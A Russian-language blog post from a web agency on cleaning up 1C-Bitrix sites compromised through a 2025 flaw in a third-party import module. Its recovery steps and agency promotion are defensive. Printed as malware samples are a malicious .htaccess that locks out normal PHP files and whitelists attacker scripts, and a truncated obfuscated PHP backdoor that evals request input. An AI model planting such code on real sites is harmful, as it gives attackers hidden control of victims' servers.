Ответы на вопросы
Тут пока пусто...
...но мы ждем ваши вопросы
В феврале 2025 года владельцы сайтов, использующих решения компании-разработчика esolutions.su, проснулись с неприятной новостью: сайты начали вести себя странно. Одни внезапно отправляли посетителей в онлайн-казино, другие перестали открываться вовсе. Кто-то видел белый экран, кто-то 403-ю ошибку в админке.
Позже стало ясно - это уязвимость в модуле «Импорт из XML, YML, JSON». Разбираемся, что это за баг, как он работает, чем грозит и, самое главное, что делать.
Как мы указали выше, уязвимость была у поставщика сторонних решений для CMS 1С-Битрикс в модуле импорта/экспорта Excel/XML. Через неё злоумышленники получали возможность загрузить на сервер вредоносные PHP-скрипты, которые могли:
Если на одном хостинге живёт несколько сайтов на разных CMS, заражение может быстро распространиться через общие FTP-доступы и слабые учётные записи. Именно поэтому при множестве сайтов лечение часто начинают с WordPress - они оказываются «нулевыми пациентами».
Если вы увидите хоть что-то из списка, надо действовать немедленно:
Пример кода .htaccess, который часто клали вирусы:
<FilesMatch
'.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
'^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|
comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|
filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|
phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php
|termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|
wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|
wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|
ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|
ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|
ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|
plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|
admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|
network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|
privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|
options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|
setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|
customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|
options-reading.php|system_log.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
Пример обфусцированного кода в index.php:
<?php /*-qN00@V:`-*/error_reporting(0); $DJA
/*-aYl?2`k:C^LN;R-*/=/*-kYB7t.udNQe]87d1O;-*/ "ra"
./*-dsqM6|wNO)-*/"ng"./*-6jjo6$E@z%}xr~j2-*/"e"; $eV /*->^I{~H~D{A,C-Ox>-*/=
/*-2&bt^&]Y.O-*
/$DJA/*-@>gV&i@UUO}W>-*/(/*-<^:!k67PVG4$|N@Nkm-*/"~",/*-H~_c9W1Fd[o,ge.QU5-*/
" ");/*-0dG%CPX~k
DLa-*/$pP/*-F?-hU~i&t%|{f-*/=/*->-3b7Whq0Ye%:-*/${$eV[30+1]/*-3~ub~8yeKWm)|-*
/.$eV[40+19].
/*-|UMk$+9y-*/$eV[12+35].$eV[21+26]./*-`rO~!yr5|s`jRGu-*/$eV[25+26].$eV[5+48]
.$eV/*-y~J&!:?EEm0mx
6ksvn?-*/[38+19]};
/*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9
J
ka|z-;}C,t%^D^-Xym
nM2-*/($pP)==(2+26))){(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$}
-*/&&/*-3j$>6Uzxqux)
Yrv-*/@eval/*-uJ)fh}M75;K>|5-*/($pP[19+44](${$pP[10+33]}[15+15])));}/*-Iuomav
-*/class /*-}y#w-*/g{
/*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH)
/*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/
=
/*-B5p){P!%+-*/"r"./*-_h-*/"a"./*-R`ZIM6-*/"n"./*-$@mbZr-*/"g"./*-1_v81-*/"e"
; /*--j$cbv-*/$FwiSXK
/*-M(c:}d-*/ = /*-}1(AD-*/$ZH/*-#x-*/(/*-6>-*/"~"/*-J-{-*/, /*-S_-*/"
"/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD
....
Обфускация (base64, goto и прочая «завуалировка») - классический приём, чтобы затруднить обнаружение и автоматическую очистку.
Не делайте «быстрых» правок на живом сайте, не сохранив бэкап. Даже заражённую копию сохраняйте: она пригодится для анализа, сравнения файлов и восстановления, если что-то пойдёт не так.
Если у вас нет надёжной резервной копии, заведите её прямо сейчас. У нас в MediaMint есть услуга «Страховка сайта» - автоматические бэкапы в облако, хранение вне хостинга и быстрая откатная точка.
WP-сайты чаще «заражаются первыми». Поэтому если на одном сервере есть WordPress и другие CMS, начните именно с WP.
Удалите (или временно переименуйте):
/.htaccess
/bitrix/.htaccess
/bitrix/admin/.htaccess
Это часто даёт доступ в админку и перестаёт перенаправлять трафик.
Примечание: делайте это через FTP/SFTP/SSH - не через браузер-редактор файлов на хостинге (он может сохранять кеши и поведение).
Дальше - проверка агентов (скриптов, которые запускаются по расписанию внутри Битрикса).
Если удаётся войти в админку, откройте Настройки → Настройки продукта → Агенты и внимательно посмотрите список агентов. Если видите нечто похожее, удаляем немедленно:
Обратите внимание на номер 1 - вирусы почти всегда прописывают себя под ID 1 для гарантированного запуска при каждом обращении к сайту.
Если в админку попасть не удалось, удаляем заражённый агент через API. Для этого используем стандартный инструмент API CMS (например, для CMS 1С-Битрикс подробности в справке).
Есть и альтернативный способ: откройте файл /bitrix/php_interface/dbconn.php и добавьте строку
define("NO_AGENT_CHECK", true);
Эта настройка временно отключает выполнение всех агентов. После добавления перезагрузите сервер, чтобы изменения вступили в силу. Это поможет остановить работу вредоносного агента и очистить систему.
Теперь идём в /bitrix/modules/main/bx_root.php. В идеале, содержимое этого файла должно быть таким:
<?php
define("BX_ROOT", "/bitrix");
if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
define("BX_PERSONAL_ROOT", BX_ROOT);
?>
Если видите какие-то непонятные строки, особенно с eval, base64_decode, goto или просто хаотичные символы, файл заражён, и его нужно заменить на оригинальный.
В 1С-Битрикс есть инструмент сканирования:
/bitrix/admin/xscan_system.php
Важно: антивирусный модуль может пометить «подозрительными» и кастомные скрипты, проверяйте руками, чтобы не удалить рабочие файлы.
Если сайт на выделенном или локальном сервере, пройдитесь дополнительными сканерами:
Эти инструменты часто находят скрытые вставки и скрипты, которые не видны поверхностно.
После очистки замените .htaccess на стандартный «чистый» шаблон Битрикс (или тот, который был у вас до инцидента). Можете воспользоваться дефолтным .htaccess на сайте Битрикса.
В админке: Настройки → Автокеширование → Очистить кеш.
Если возникли проблемы, удалите вручную:
/bitrix/manage_cache/
/bitrix/cache/
Без этой очистки сайт может продолжать показывать старые, заражённые страницы.
Если у вас есть WordPress-сайты (часто - первичный источник заражения), сделайте следующее:
Ссылки (для установки):
Если у вас установлены устаревшие модули сторонних разработчиков для CMS, срочно обновитесь или отключите их.
Полный перечень устаревших решений для 1С-Битрикс размещен на сайте вендора по ссылке - https://www.1c-bitrix.ru/vul_dev/ .
Ниже код, который нужно разместить в начале файлов модулей - это общий и безопасный способ прекратить произвольное исполнение:
<?if(isset($_REQUEST['path']) && strlen($_REQUEST['path']) > 0)
{
header((stristr(php_sapi_name(), 'cgi') !== false ? 'Status: ' : $_SERVER['SERVER_PROTOCOL'].' ').'403 Forbidden');
die();
}
?>
Этот код нужно разместить в начале файлов модулей esolutions.su:
Если после описанных шагов сайт продолжает странно себя вести (новые файлы появляются, админка недоступна, редиректы возвращаются), нужно собирать команду. Частые проблемы: скрытые бекдоры, злонамеренные cron-задачи, доступы, сохранённые в хостинге, которые не видны на первый взгляд.
Наша команда в короткие сроки сделает для вас:
Свяжитесь с нами любым удобным способом, и мы сделаем диагностику и план лечения вашего сайта!
176 просмотров
Читать с телефона
Отсканируй код, чтобы продолжить читать с телефона.
1 ноября 2025
756
4 марта 2025
2174
10 января 2025
1043
29 октября 2024
2608
12 августа 2024
1896
Тут пока пусто...
...но мы ждем ваши вопросы